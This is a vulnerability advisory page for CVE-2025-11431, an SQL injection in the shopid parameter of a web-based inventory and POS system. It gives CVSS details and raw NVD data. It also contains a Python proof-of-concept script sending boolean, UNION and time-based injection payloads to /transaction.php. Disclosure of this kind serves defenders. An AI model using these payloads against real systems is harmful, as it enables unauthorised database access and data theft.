Security Vulnerability Report
中文
CVE-2025-11431 CVSS 6.3 MEDIUM

CVE-2025-11431

Published: 2025-10-08 04:16:18
Last Modified: 2026-04-29 01:00:02

Description

A vulnerability was determined in code-projects Web-Based Inventory and POS System 1.0. The impacted element is an unknown function of the file /transaction.php. This manipulation of the argument shopid causes sql injection. The attack is possible to be carried out remotely. The exploit has been publicly disclosed and may be utilized.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:fabian:web-based_inventory_and_pos_system:1.0:*:*:*:*:*:*:* - VULNERABLE
code-projects Web-Based Inventory and POS System 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-11431 SQL Injection PoC # Target: code-projects Web-Based Inventory and POS System 1.0 # Vulnerable file: /transaction.php # Vulnerable parameter: shopid import requests TARGET_URL = "http://target-host.com" VULNERABLE_ENDPOINT = "/transaction.php" # Basic SQL Injection payload to test the vulnerability def test_sql_injection(base_url): """Test for SQL injection in shopid parameter""" # Payload 1: Boolean-based blind SQL injection payload_true = "1' AND '1'='1" payload_false = "1' AND '1'='2" url = f"{base_url}{VULNERABLE_ENDPOINT}" # Send request with malicious shopid parameter params = { "shopid": payload_true } response_true = requests.get(url, params=params) params["shopid"] = payload_false response_false = requests.get(url, params=params) if response_true.text != response_false.text: print("[+] SQL Injection vulnerability confirmed!") print(f"[+] Response length (true): {len(response_true.text)}") print(f"[+] Response length (false): {len(response_false.text)}") return True return False # Payload 2: UNION-based SQL injection to extract data def extract_data(base_url, table_name="users"): """Extract data using UNION-based SQL injection""" # Determine number of columns first for i in range(1, 20): cols = ",".join([str(x) for x in range(1, i+1)]) payload = f"1' UNION SELECT {cols}-- -" params = {"shopid": payload} response = requests.get(f"{base_url}{VULNERABLE_ENDPOINT}", params=params) if "error" not in response.text.lower() and response.status_code == 200: print(f"[+] Number of columns: {i}") break # Payload 3: Time-based blind SQL injection def time_based_injection(base_url): """Time-based blind SQL injection test""" payload = "1' AND SLEEP(5)-- -" params = {"shopid": payload} import time start_time = time.time() response = requests.get(f"{base_url}{VULNERABLE_ENDPOINT}", params=params) elapsed = time.time() - start_time if elapsed >= 5: print("[+] Time-based SQL Injection confirmed!") return True return False if __name__ == "__main__": print("[*] Testing CVE-2025-11431 SQL Injection") print(f"[*] Target: {TARGET_URL}") test_sql_injection(TARGET_URL)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11431", "sourceIdentifier": "[email protected]", "published": "2025-10-08T04:16:17.773", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in code-projects Web-Based Inventory and POS System 1.0. The impacted element is an unknown function of the file /transaction.php. This manipulation of the argument shopid causes sql injection. The attack is possible to be carried out remotely. The exploit has been publicly disclosed and may be utilized."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fabian:web-based_inventory_and_pos_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "5F51F3F9-7B6A-4076-8FEF-C630D21E7E3F"}]}]}], "references": [{"url": "https://code-projects.org/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/asd1238525/cve/blob/main/SQL7.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.327368", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.327368", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.666277", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://github.com/asd1238525/cve/blob/main/SQL7.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}